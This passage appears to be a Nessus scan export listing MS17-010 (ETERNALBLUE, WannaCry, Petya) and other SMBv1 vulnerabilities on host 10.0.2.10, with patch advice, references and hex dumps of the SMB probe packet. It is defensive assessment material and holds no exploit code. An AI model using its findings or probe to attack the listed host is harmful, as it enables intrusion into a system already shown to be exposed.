ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001807c8000000000000000000000000000894330008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09807c80000000000000000000000000008943300080001000000
		High

		97833		CVE-2017-0144		9.3		High		10.0.2.10		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001807c8000000000000000000000000000894330008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09807c80000000000000000000000000008943300080001000000
		High

		97833		CVE-2017-0145		9.3		High		10.0.2.10		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001807c8000000000000000000000000000894330008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09807c80000000000000000000000000008943300080001000000
		High

		97833		CVE-2017-0146		9.3		High		10.0.2.10		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001807c8000000000000000000000000000894330008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09807c80000000000000000000000000008943300080001000000
		High

		97833		CVE-2017-0147		9.3		High		10.0.2.10		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001807c8000000000000000000000000000894330008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09807c80000000000000000000000000008943300080001000000
		High

		97833		CVE-2017-0148		9.3		High		10.0.2.10		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001807c8000000000000000000000000000894330008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09807c80000000000000000000000000008943300080001000000
		High

		100464		CVE-2017-0267		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0268		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0269		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0270		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0271		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0272		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
